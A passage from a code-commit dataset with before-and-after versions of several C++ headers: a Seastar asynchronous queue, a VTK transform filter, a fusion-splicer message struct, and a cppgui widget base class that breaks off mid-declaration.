capacity.\n\/\/\/ There can be at most one producer-side and at most one consumer-side operation active at any time.\n\/\/\/ Operations returning a future are considered to be active until the future resolves.\ntemplate <typename T>\nclass queue {\n std::queue<T, circular_buffer<T>> _q;\n size_t _max;\n std::optional<promise<>> _not_empty;\n std::optional<promise<>> _not_full;\n std::exception_ptr _ex = nullptr;\nprivate:\n void notify_not_empty() noexcept;\n void notify_not_full() noexcept;\npublic:\n explicit queue(size_t size);\n\n \/\/\/ \\brief Push an item.\n \/\/\/\n \/\/\/ Returns false if the queue was full and the item was not pushed.\n bool push(T&& a);\n\n \/\/\/ \\brief Pop an item.\n \/\/\/\n \/\/\/ Popping from an empty queue will result in undefined behavior.\n T pop();\n\n \/\/\/ \\brief access the front element in the queue\n \/\/\/\n \/\/\/ Accessing the front of an empty queue will result in undefined\n \/\/\/ behaviour.\n T& front();\n\n \/\/\/ Consumes items from the queue, passing them to \\c func, until \\c func\n \/\/\/ returns false or the queue it empty\n \/\/\/\n \/\/\/ Returns false if func returned false.\n template <typename Func>\n bool consume(Func&& func);\n\n \/\/\/ Returns true when the queue is empty.\n bool empty() const;\n\n \/\/\/ Returns true when the queue is full.\n bool full() const;\n\n \/\/\/ Returns a future<> that becomes available when pop() or consume()\n \/\/\/ can be called.\n \/\/\/ A consumer-side operation. Cannot be called concurrently with other consumer-side operations.\n future<> not_empty();\n\n \/\/\/ Returns a future<> that becomes available when push() can be called.\n \/\/\/ A producer-side operation. Cannot be called concurrently with other producer-side operations.\n future<> not_full();\n\n \/\/\/ Pops element now or when there is some. Returns a future that becomes\n \/\/\/ available when some element is available.\n \/\/\/ If the queue is, or already was, abort()ed, the future resolves with\n \/\/\/ the exception provided to abort().\n \/\/\/ A consumer-side operation. Cannot be called concurrently with other consumer-side operations.\n future<T> pop_eventually();\n\n \/\/\/ Pushes the element now or when there is room. Returns a future<> which\n \/\/\/ resolves when data was pushed.\n \/\/\/ If the queue is, or already was, abort()ed, the future resolves with\n \/\/\/ the exception provided to abort().\n \/\/\/ A producer-side operation. Cannot be called concurrently with other producer-side operations.\n future<> push_eventually(T&& data);\n\n \/\/\/ Returns the number of items currently in the queue.\n size_t size() const { return _q.size(); }\n\n \/\/\/ Returns the size limit imposed on the queue during its construction\n \/\/\/ or by a call to set_max_size(). If the queue contains max_size()\n \/\/\/ items (or more), further items cannot be pushed until some are popped.\n size_t max_size() const noexcept { return _max; }\n\n \/\/\/ Set the maximum size to a new value. If the queue's max size is reduced,\n \/\/\/ items already in the queue will not be expunged and the queue will be temporarily\n \/\/\/ bigger than its max_size.\n void set_max_size(size_t max) {\n _max = max;\n if (!full()) {\n notify_not_full();\n }\n }\n\n \/\/\/ Destroy any items in the queue, and pass the provided exception to any\n \/\/\/ waiting readers or writers - or to any later read or write attempts.\n void abort(std::exception_ptr ex) {\n while (!_q.empty()) {\n _q.pop();\n }\n _ex = ex;\n if (_not_full) {\n _not_full->set_exception(ex);\n _not_full= std::nullopt;\n }\n if (_not_empty) {\n _not_empty->set_exception(std::move(ex));\n _not_empty = std::nullopt;\n }\n }\n\n \/\/\/ \\brief Check if there is an active consumer\n \/\/\/\n \/\/\/ Returns true if another fiber waits for an item to be pushed into the queue\n bool has_blocked_consumer() const noexcept {\n return bool(_not_empty);\n }\n};\n\ntemplate <typename T>\ninline\nqueue<T>::queue(size_t size)\n : _max(size) {\n}\n\ntemplate <typename T>\ninline\nvoid queue<T>::notify_not_empty() noexcept {\n if (_not_empty) {\n _not_empty->set_value();\n _not_empty = std::optional<promise<>>();\n }\n}\n\ntemplate <typename T>\ninline\nvoid queue<T>::notify_not_full() noexcept {\n if (_not_full) {\n _not_full->set_value();\n _not_full = std::optional<promise<>>();\n }\n}\n\ntemplate <typename T>\ninline\nbool queue<T>::push(T&& data) {\n if (_q.size() < _max) {\n _q.push(std::move(data));\n notify_not_empty();\n return true;\n } else {\n return false;\n }\n}\n\ntemplate <typename T>\ninline\nT& queue<T>::front() {\n return _q.front();\n}\n\ntemplate <typename T>\ninline\nT queue<T>::pop() {\n if (_q.size() == _max) {\n notify_not_full();\n }\n T data = std::move(_q.front());\n _q.pop();\n return data;\n}\n\ntemplate <typename T>\ninline\nfuture<T> queue<T>::pop_eventually() {\n if (_ex) {\n return make_exception_future<T>(_ex);\n }\n if (empty()) {\n return not_empty().then([this] {\n if (_ex) {\n return make_exception_future<T>(_ex);\n } else {\n return make_ready_future<T>(pop());\n }\n });\n } else {\n return make_ready_future<T>(pop());\n }\n}\n\ntemplate <typename T>\ninline\nfuture<> queue<T>::push_eventually(T&& data) {\n if (_ex) {\n return make_exception_future<>(_ex);\n }\n if (full()) {\n return not_full().then([this, data = std::move(data)] () mutable {\n _q.push(std::move(data));\n notify_not_empty();\n });\n } else {\n _q.push(std::move(data));\n notify_not_empty();\n return make_ready_future<>();\n }\n}\n\ntemplate <typename T>\ntemplate <typename Func>\ninline\nbool queue<T>::consume(Func&& func) {\n if (_ex) {\n std::rethrow_exception(_ex);\n }\n bool running = true;\n while (!_q.empty() && running) {\n running = func(std::move(_q.front()));\n _q.pop();\n }\n if (!full()) {\n notify_not_full();\n }\n return running;\n}\n\ntemplate <typename T>\ninline\nbool queue<T>::empty() const {\n return _q.empty();\n}\n\ntemplate <typename T>\ninline\nbool queue<T>::full() const {\n return _q.size() >= _max;\n}\n\ntemplate <typename T>\ninline\nfuture<> queue<T>::not_empty() {\n if (_ex) {\n return make_exception_future<>(_ex);\n }\n if (!empty()) {\n return make_ready_future<>();\n } else {\n _not_empty = promise<>();\n return _not_empty->get_future();\n }\n}\n\ntemplate <typename T>\ninline\nfuture<> queue<T>::not_full() {\n if (_ex) {\n return make_exception_future<>(_ex);\n }\n if (!full()) {\n return make_ready_future<>();\n } else {\n _not_full = promise<>();\n return _not_full->get_future();\n }\n}\n\n}\n\n<commit_msg>queue: require element type to be nothrow move-constructible<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2014 Cloudius Systems, Ltd.\n *\/\n\n#pragma once\n\n#include <seastar\/core\/circular_buffer.hh>\n#include <seastar\/core\/future.hh>\n#include <queue>\n#include <seastar\/util\/std-compat.hh>\n\nnamespace seastar {\n\n\/\/\/ Asynchronous single-producer single-consumer queue with limited capacity.\n\/\/\/ There can be at most one producer-side and at most one consumer-side operation active at any time.\n\/\/\/ Operations returning a future are considered to be active until the future resolves.\n\/\/\/\n\/\/\/ Note: queue requires the data type T to be nothrow move constructible as it's\n\/\/\/ returned as future<T> by \\ref pop_eventually and seastar futurized data type\n\/\/\/ are required to be nothrow move-constructible.\ntemplate <typename T>\nSEASTAR_CONCEPT(requires std::is_nothrow_move_constructible_v<T>)\nclass queue {\n std::queue<T, circular_buffer<T>> _q;\n size_t _max;\n std::optional<promise<>> _not_empty;\n std::optional<promise<>> _not_full;\n std::exception_ptr _ex = nullptr;\nprivate:\n void notify_not_empty() noexcept;\n void notify_not_full() noexcept;\npublic:\n explicit queue(size_t size);\n\n \/\/\/ \\brief Push an item.\n \/\/\/\n \/\/\/ Returns false if the queue was full and the item was not pushed.\n bool push(T&& a);\n\n \/\/\/ \\brief Pop an item.\n \/\/\/\n \/\/\/ Popping from an empty queue will result in undefined behavior.\n T pop();\n\n \/\/\/ \\brief access the front element in the queue\n \/\/\/\n \/\/\/ Accessing the front of an empty queue will result in undefined\n \/\/\/ behaviour.\n T& front();\n\n \/\/\/ Consumes items from the queue, passing them to \\c func, until \\c func\n \/\/\/ returns false or the queue it empty\n \/\/\/\n \/\/\/ Returns false if func returned false.\n template <typename Func>\n bool consume(Func&& func);\n\n \/\/\/ Returns true when the queue is empty.\n bool empty() const;\n\n \/\/\/ Returns true when the queue is full.\n bool full() const;\n\n \/\/\/ Returns a future<> that becomes available when pop() or consume()\n \/\/\/ can be called.\n \/\/\/ A consumer-side operation. Cannot be called concurrently with other consumer-side operations.\n future<> not_empty();\n\n \/\/\/ Returns a future<> that becomes available when push() can be called.\n \/\/\/ A producer-side operation. Cannot be called concurrently with other producer-side operations.\n future<> not_full();\n\n \/\/\/ Pops element now or when there is some. Returns a future that becomes\n \/\/\/ available when some element is available.\n \/\/\/ If the queue is, or already was, abort()ed, the future resolves with\n \/\/\/ the exception provided to abort().\n \/\/\/ A consumer-side operation. Cannot be called concurrently with other consumer-side operations.\n future<T> pop_eventually();\n\n \/\/\/ Pushes the element now or when there is room. Returns a future<> which\n \/\/\/ resolves when data was pushed.\n \/\/\/ If the queue is, or already was, abort()ed, the future resolves with\n \/\/\/ the exception provided to abort().\n \/\/\/ A producer-side operation. Cannot be called concurrently with other producer-side operations.\n future<> push_eventually(T&& data);\n\n \/\/\/ Returns the number of items currently in the queue.\n size_t size() const { return _q.size(); }\n\n \/\/\/ Returns the size limit imposed on the queue during its construction\n \/\/\/ or by a call to set_max_size(). If the queue contains max_size()\n \/\/\/ items (or more), further items cannot be pushed until some are popped.\n size_t max_size() const noexcept { return _max; }\n\n \/\/\/ Set the maximum size to a new value. If the queue's max size is reduced,\n \/\/\/ items already in the queue will not be expunged and the queue will be temporarily\n \/\/\/ bigger than its max_size.\n void set_max_size(size_t max) {\n _max = max;\n if (!full()) {\n notify_not_full();\n }\n }\n\n \/\/\/ Destroy any items in the queue, and pass the provided exception to any\n \/\/\/ waiting readers or writers - or to any later read or write attempts.\n void abort(std::exception_ptr ex) {\n while (!_q.empty()) {\n _q.pop();\n }\n _ex = ex;\n if (_not_full) {\n _not_full->set_exception(ex);\n _not_full= std::nullopt;\n }\n if (_not_empty) {\n _not_empty->set_exception(std::move(ex));\n _not_empty = std::nullopt;\n }\n }\n\n \/\/\/ \\brief Check if there is an active consumer\n \/\/\/\n \/\/\/ Returns true if another fiber waits for an item to be pushed into the queue\n bool has_blocked_consumer() const noexcept {\n return bool(_not_empty);\n }\n};\n\ntemplate <typename T>\ninline\nqueue<T>::queue(size_t size)\n : _max(size) {\n}\n\ntemplate <typename T>\ninline\nvoid queue<T>::notify_not_empty() noexcept {\n if (_not_empty) {\n _not_empty->set_value();\n _not_empty = std::optional<promise<>>();\n }\n}\n\ntemplate <typename T>\ninline\nvoid queue<T>::notify_not_full() noexcept {\n if (_not_full) {\n _not_full->set_value();\n _not_full = std::optional<promise<>>();\n }\n}\n\ntemplate <typename T>\ninline\nbool queue<T>::push(T&& data) {\n if (_q.size() < _max) {\n _q.push(std::move(data));\n notify_not_empty();\n return true;\n } else {\n return false;\n }\n}\n\ntemplate <typename T>\ninline\nT& queue<T>::front() {\n return _q.front();\n}\n\ntemplate <typename T>\ninline\nT queue<T>::pop() {\n if (_q.size() == _max) {\n notify_not_full();\n }\n T data = std::move(_q.front());\n _q.pop();\n return data;\n}\n\ntemplate <typename T>\ninline\nfuture<T> queue<T>::pop_eventually() {\n \/\/ seastar allows only nothrow_move_constructible types\n \/\/ to be returned as future<T>\n static_assert(std::is_nothrow_move_constructible_v<T>,\n \"Queue element type must be no-throw move constructible\");\n\n if (_ex) {\n return make_exception_future<T>(_ex);\n }\n if (empty()) {\n return not_empty().then([this] {\n if (_ex) {\n return make_exception_future<T>(_ex);\n } else {\n return make_ready_future<T>(pop());\n }\n });\n } else {\n return make_ready_future<T>(pop());\n }\n}\n\ntemplate <typename T>\ninline\nfuture<> queue<T>::push_eventually(T&& data) {\n if (_ex) {\n return make_exception_future<>(_ex);\n }\n if (full()) {\n return not_full().then([this, data = std::move(data)] () mutable {\n _q.push(std::move(data));\n notify_not_empty();\n });\n } else {\n _q.push(std::move(data));\n notify_not_empty();\n return make_ready_future<>();\n }\n}\n\ntemplate <typename T>\ntemplate <typename Func>\ninline\nbool queue<T>::consume(Func&& func) {\n if (_ex) {\n std::rethrow_exception(_ex);\n }\n bool running = true;\n while (!_q.empty() && running) {\n running = func(std::move(_q.front()));\n _q.pop();\n }\n if (!full()) {\n notify_not_full();\n }\n return running;\n}\n\ntemplate <typename T>\ninline\nbool queue<T>::empty() const {\n return _q.empty();\n}\n\ntemplate <typename T>\ninline\nbool queue<T>::full() const {\n return _q.size() >= _max;\n}\n\ntemplate <typename T>\ninline\nfuture<> queue<T>::not_empty() {\n if (_ex) {\n return make_exception_future<>(_ex);\n }\n if (!empty()) {\n return make_ready_future<>();\n } else {\n _not_empty = promise<>();\n return _not_empty->get_future();\n }\n}\n\ntemplate <typename T>\ninline\nfuture<> queue<T>::not_full() {\n if (_ex) {\n return make_exception_future<>(_ex);\n }\n if (!full()) {\n return make_ready_future<>();\n } else {\n _not_full = promise<>();\n return _not_full->get_future();\n }\n}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkTransformFilter.hh\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n\/\/ .NAME vtkTransformFilter - transform points and associated normals and vectors\n\/\/ .SECTION Description\n\/\/ vtkTransformFilter is a filter to transform point coordinates and \n\/\/ associated point normals and vectors. Other point data is passed\n\/\/ through the filter.\n\/\/ (An alternative method of transformation is to use vtkActors methods\n\/\/ to scale, rotate, and translate objects. The difference between the\n\/\/ two methods is that vtkActor's transformation simply effects where\n\/\/ objects are rendered (via the graphics pipeline), whereas\n\/\/ vtkTransformFilter actually modifies point coordinates in the \n\/\/ visualization pipeline. This is necessary for some objects \n\/\/ (e.g., vtkProbeFilter) that require point coordinates as input).\n\/\/ .EXAMPLE XFormSph.cc\n\n#ifndef __vtkTransformFilter_h\n#define __vtkTransformFilter_h\n\n#include \"vtkPointSetToPointSetFilter.hh\"\n#include \"vtkTransform.hh\"\n\nclass vtkTransformFilter : public vtkPointSetToPointSetFilter\n{\npublic:\n vtkTransformFilter() : Transform(NULL) {};\n ~vtkTransformFilter() {};\n char *GetClassName() {return \"vtkTransformFilter\";};\n void PrintSelf(ostream& os, vtkIndent indent);\n\n unsigned long int GetMTime();\n\n \/\/ Description:\n \/\/ Specify the transform object used to transform points.\n vtkSetObjectMacro(Transform,vtkTransform);\n vtkGetObjectMacro(Transform,vtkTransform);\n\nprotected:\n void Execute();\n vtkTransform *Transform;\n};\n\n#endif\n\n\n<commit_msg>*** empty log message ***<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkTransformFilter.hh\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n\/\/ .NAME vtkTransformFilter - transform points and associated normals and vectors\n\/\/ .SECTION Description\n\/\/ vtkTransformFilter is a filter to transform point coordinates and \n\/\/ associated point normals and vectors. Other point data is passed\n\/\/ through the filter.\n\/\/\n\/\/ (An alternative method of transformation is to use vtkActors methods\n\/\/ to scale, rotate, and translate objects. The difference between the\n\/\/ two methods is that vtkActor's transformation simply effects where\n\/\/ objects are rendered (via the graphics pipeline), whereas\n\/\/ vtkTransformFilter actually modifies point coordinates in the \n\/\/ visualization pipeline. This is necessary for some objects \n\/\/ (e.g., vtkProbeFilter) that require point coordinates as input).\n\/\/ .EXAMPLE XFormSph.cc\n\n#ifndef __vtkTransformFilter_h\n#define __vtkTransformFilter_h\n\n#include \"vtkPointSetToPointSetFilter.hh\"\n#include \"vtkTransform.hh\"\n\nclass vtkTransformFilter : public vtkPointSetToPointSetFilter\n{\npublic:\n vtkTransformFilter() : Transform(NULL) {};\n ~vtkTransformFilter() {};\n char *GetClassName() {return \"vtkTransformFilter\";};\n void PrintSelf(ostream& os, vtkIndent indent);\n\n unsigned long int GetMTime();\n\n \/\/ Description:\n \/\/ Specify the transform object used to transform points.\n vtkSetObjectMacro(Transform,vtkTransform);\n vtkGetObjectMacro(Transform,vtkTransform);\n\nprotected:\n void Execute();\n vtkTransform *Transform;\n};\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"zmsg_types.hpp\"\n\nnamespace zmsg {\n\ntemplate<>\nstruct zmsg<mid_t::set_fs_spec> {\npublic:\n\tuint16_t window_x_row;\t\t\t\/\/ unit: pixel\n\tuint16_t window_x_col;\t\t\t\/\/ unit: pixel\n\tuint16_t window_y_row;\t\t\t\/\/ unit: pixel\n\tuint16_t window_y_col;\t\t\t\/\/ unit: pixel\n\n\tuint32_t nm_per_pixel;\t\t\t\/\/ unit: nm\/pixel\n\tuint32_t nm_per_step;\t\t\t\/\/ unit: nm\/step\n\n\tuint16_t img_cap_delay;\t\t\t\/\/ unit: ms\n\n\tuint32_t clr_discharge_gap;\t\t\/\/ unit: nm\n\tuint16_t check_fiber_exist_time;\t\/\/ unit: ms\n\n\tuint16_t motor_min_speed[motorId_t::NUM];\n\tuint16_t motor_max_speed[motorId_t::NUM];\n\n\tuint16_t motor_lzrz_fs_speed;\n\tuint16_t motor_xy_precise_calibrate_speed;\n\n\tuint16_t motor_xy_steps_per_pixel;\t\/\/ unit: step\/pixel\n\n\tdouble fiber_outline_blacklevel;\t\t\/\/ 0.0 ~ 1.0\n\tdouble calibrating_xy_dist_threshold;\t\t\/\/ unit: pixel\n\tdouble precise_calibrating_xy_dist_threshold;\t\/\/ unit: pixel\n\tdouble z_dist_threshold;\t\t\t\/\/ unit: pixel\n\n\tdischarge_data_t discharge_base;\n\tdischarge_data_t discharge_revise;\n\n\tdouble dust_check_threshold0;\n\tdouble dust_check_threshold1;\n\n\tdouble led_brightness[ledId_t::LED_NUM];\npublic:\n ZMSG_PU(\n\t\twindow_x_row,\n\t\twindow_x_col,\n\t\twindow_y_row,\n\t\twindow_y_col,\n\n\t\tnm_per_pixel,\n\t\tnm_per_step,\n\n\t\timg_cap_delay,\n\n\t\tclr_discharge_gap,\n\t\tcheck_fiber_exist_time,\n\n\t\tmotor_min_speed,\n\t\tmotor_max_speed,\n\n\t\tmotor_lzrz_fs_speed,\n\t\tmotor_xy_precise_calibrate_speed,\n\n\t\tmotor_xy_steps_per_pixel,\n\n\t\tfiber_outline_blacklevel,\n\t\tcalibrating_xy_dist_threshold,\n\t\tprecise_calibrating_xy_dist_threshold,\n\t\tz_dist_threshold,\n\n\t\tdischarge_base,\n\t\tdischarge_revise,\n\n\t\tdust_check_threshold0,\n\t\tdust_check_threshold1,\n\n\t\tled_brightness)\n};\n\n}\n<commit_msg>zmsg: xy precise calibrate: change data type to uint32_t<commit_after>#pragma once\n\n#include \"zmsg_types.hpp\"\n\nnamespace zmsg {\n\ntemplate<>\nstruct zmsg<mid_t::set_fs_spec> {\npublic:\n\tuint16_t window_x_row;\t\t\t\/\/ unit: pixel\n\tuint16_t window_x_col;\t\t\t\/\/ unit: pixel\n\tuint16_t window_y_row;\t\t\t\/\/ unit: pixel\n\tuint16_t window_y_col;\t\t\t\/\/ unit: pixel\n\n\tuint32_t nm_per_pixel;\t\t\t\/\/ unit: nm\/pixel\n\tuint32_t nm_per_step;\t\t\t\/\/ unit: nm\/step\n\n\tuint16_t img_cap_delay;\t\t\t\/\/ unit: ms\n\n\tuint32_t clr_discharge_gap;\t\t\/\/ unit: nm\n\tuint16_t check_fiber_exist_time;\t\/\/ unit: ms\n\n\tuint16_t motor_min_speed[motorId_t::NUM];\n\tuint16_t motor_max_speed[motorId_t::NUM];\n\n\tuint16_t motor_lzrz_fs_speed;\n\tuint32_t motor_xy_precise_calibrate_speed;\n\n\tuint16_t motor_xy_steps_per_pixel;\t\/\/ unit: step\/pixel\n\n\tdouble fiber_outline_blacklevel;\t\t\/\/ 0.0 ~ 1.0\n\tdouble calibrating_xy_dist_threshold;\t\t\/\/ unit: pixel\n\tdouble precise_calibrating_xy_dist_threshold;\t\/\/ unit: pixel\n\tdouble z_dist_threshold;\t\t\t\/\/ unit: pixel\n\n\tdischarge_data_t discharge_base;\n\tdischarge_data_t discharge_revise;\n\n\tdouble dust_check_threshold0;\n\tdouble dust_check_threshold1;\n\n\tdouble led_brightness[ledId_t::LED_NUM];\npublic:\n ZMSG_PU(\n\t\twindow_x_row,\n\t\twindow_x_col,\n\t\twindow_y_row,\n\t\twindow_y_col,\n\n\t\tnm_per_pixel,\n\t\tnm_per_step,\n\n\t\timg_cap_delay,\n\n\t\tclr_discharge_gap,\n\t\tcheck_fiber_exist_time,\n\n\t\tmotor_min_speed,\n\t\tmotor_max_speed,\n\n\t\tmotor_lzrz_fs_speed,\n\t\tmotor_xy_precise_calibrate_speed,\n\n\t\tmotor_xy_steps_per_pixel,\n\n\t\tfiber_outline_blacklevel,\n\t\tcalibrating_xy_dist_threshold,\n\t\tprecise_calibrating_xy_dist_threshold,\n\t\tz_dist_threshold,\n\n\t\tdischarge_base,\n\t\tdischarge_revise,\n\n\t\tdust_check_threshold0,\n\t\tdust_check_threshold1,\n\n\t\tled_brightness)\n};\n\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <cassert>\n#include <type_traits>\n#include <initializer_list>\n\n#include <gpc\/gui\/renderer.hpp> \/\/ TODO: other source & namespace\n\n#include \".\/basic_types.hpp\"\n#include \".\/geometry.hpp\"\n#include \".\/aspects.hpp\"\n#include \".\/layouting.hpp\"\n\n\/\/#include \".\/Stylesheet.hpp\"\n#include \".\/Resource.hpp\"\n#include \".\/Full_resource_mapper.hpp\"\n\nnamespace cppgui {\n\n \/\/ Forward declarations \n\n template <class Config, bool With_layout> class Root_widget;\n template <class Config, bool With_layout> class Abstract_container;\n \/*template <class Config, bool With_layout>*\/ class Drag_controller;\n\n enum Key_state { pressed, released }; \/\/ TODO: move to basic_types.hpp ?\n\n template <class Renderer> class Canvas;\n\n \/** Abstract_widget: functionality common to both Root_widget and Widget, i.e. not including the ability\n to function as an element in a container.\n *\/\n template <class Config, bool With_layout>\n class Abstract_widget\n {\n public:\n using Abstract_widget_t = Abstract_widget;\n using Root_widget_t = Root_widget<Config, With_layout>;\n using Canvas_t = typename Canvas<typename Config::Renderer>;\n using Native_color = typename Canvas_t::Native_color;\n using Font_handle = typename Canvas_t::Font_handle;\n using Keyboard = typename Config::Keyboard;\n using Keycode = typename Keyboard::Keycode;\n \/\/ TODO: move the following resource type definitions into a special struct and inherit from that ?\n using Color_resource = Resource<const Color &, Native_color, Canvas_t, true>;\n using Font_resource = Resource<const Rasterized_font *, Font_handle, Canvas_t, false>;\n\n using Click_handler = std::function<void(const Point &, int button, int clicks)>; \/\/ TODO: support return value ?\n using Pushed_handler = std::function<void()>; \/\/ for buttons TODO: renamed event to \"Push\" (as in \"a push happened\") ?\n\n auto& rectangle() { return _rect; }\n auto& rectangle() const { return _rect; }\n auto& position() { return _rect.pos; }\n auto& position() const { return _rect.pos; }\n auto& extents() { return _rect.ext; }\n auto& extents() const { return _rect.ext; }\n void set_position(const Point &);\n void set_extents(const Extents &);\n\n \/\/ TODO: color and other style definitions belong into stylesheets\n \/\/static auto button_face_color () { return Color{ 0.8f, 0.8f, 0.8f, 1 }; }\n \/\/static auto button_face_hovered_color() { return Color{ 0.9f, 0.9f, 0.9f, 1 }; }\n\n \/** The init() entry point is where a widget \"connects\" to its backends (the most important of\n which being the canvas).\n *\/\n virtual void init() {}\n\n \/** The update_view_from_data() entry point must be called after init(), and also after \n layout() if run-time layouting is enabled.\n *\/\n virtual void compute_view_from_data() {}\n\n virtual auto root_widget() -> Root_widget_t * = 0;\n\n \/\/ Input event injection\n\n \/** By convention, mouse positions are passed to a widget as relative to\n their own origin (meaning that it falls to the caller, i.e. usually\n the container, to subtract the child widget's position() from the\n coordinates it gets from yet higher up).\n *\/\n virtual void mouse_motion(const Point &) {}\n virtual void mouse_button(const Point &, int \/*button*\/, Key_state) {}\n virtual void mouse_click(const Point &, int button, int count);\n virtual void mouse_wheel(const Vector &) {}\n virtual void text_input(const char32_t *, size_t) {}\n virtual void key_down(const Keycode &) {}\n\n virtual void mouse_enter() {} \/\/ TODO: provide \"entry point\" parameter ?\n virtual void mouse_exit() {} \/\/ TODO: provide \"exit point\" parameter ?\n\n bool disabled() const { return false; } \/\/ TODO!!!\n\n \/** Convention: the provided position is an offset to be added to the widget's\n own coordinates.\n *\/\n virtual void render(Canvas_t *, const Point &offs) = 0;\n\n virtual bool handle_key_down(const Keycode &) { return false; }\n\n protected:\n\n \/\/ Rendering conveniences\n\n \/\/ auto rgba_to_native(Canvas_t *, const Color &) -> Native_color;\n auto rgba_to_native(const Color &) -> Native_color;\n void fill_rect(Canvas_t *, const Rectangle &rect, const Native_color &);\n void fill_rect(Canvas_t *, const Rectangle &rect, const Point &offs, const Native_color &);\n void fill_rect(Canvas_t *, const Point &pos, const Extents &ext, const Native_color &);\n void fill(Canvas_t *, const Point &offs, const Native_color &);\n auto convert_position_to_inner(const Point &) -> Point;\n auto advance_to_glyph_at(const Rasterized_font *, const std::u32string &text, size_t from, size_t to, Point &pos) \n -> const Glyph_control_box *;\n void draw_borders(Canvas_t *, const Point & offs, Width width, const Color &color);\n void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, Width width, const Color &color);\n void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, \n Width width, const Color & top, const Color & right, const Color & bottom, const Color & left);\n \/\/ PROVISIONAL\n void draw_stippled_inner_rect(Canvas_t *, const Rectangle &, const Point &offs);\n\n \/\/ Experimental & temporary: implement more sophisticated (and flexible!) styling\n \/\/ - May not \/ should not stay static; make const if possible\n\n static auto stroke_width() -> int { return 1; }\n static auto stroke_color() -> Color { return { 0, 0, 0, 1 }; }\n \/\/static auto padding() -> int { return 5; }\n static auto paper_color() -> Color { return {1, 1, 1, 1}; }\n\n private:\n\n Rectangle _rect = {};\n };\n\n template <class Config, bool With_layout> struct Widget__Layouter {\n\n template <class Aspect_parent> struct Aspect: Aspect_parent {\n void init_layout() {}\n };\n };\n\n \/\/ Widget \n\n template <class Config, bool With_layout>\n class Widget: \n public Config::template Widget_updater< \n Widget__Layouter<Config, With_layout>::template Aspect<\n Abstract_widget<Config, With_layout> > >\n {\n public:\n using Renderer = typename Config::Renderer;\n using Font_handle = typename Renderer::font_handle;\n using Keyboard = typename 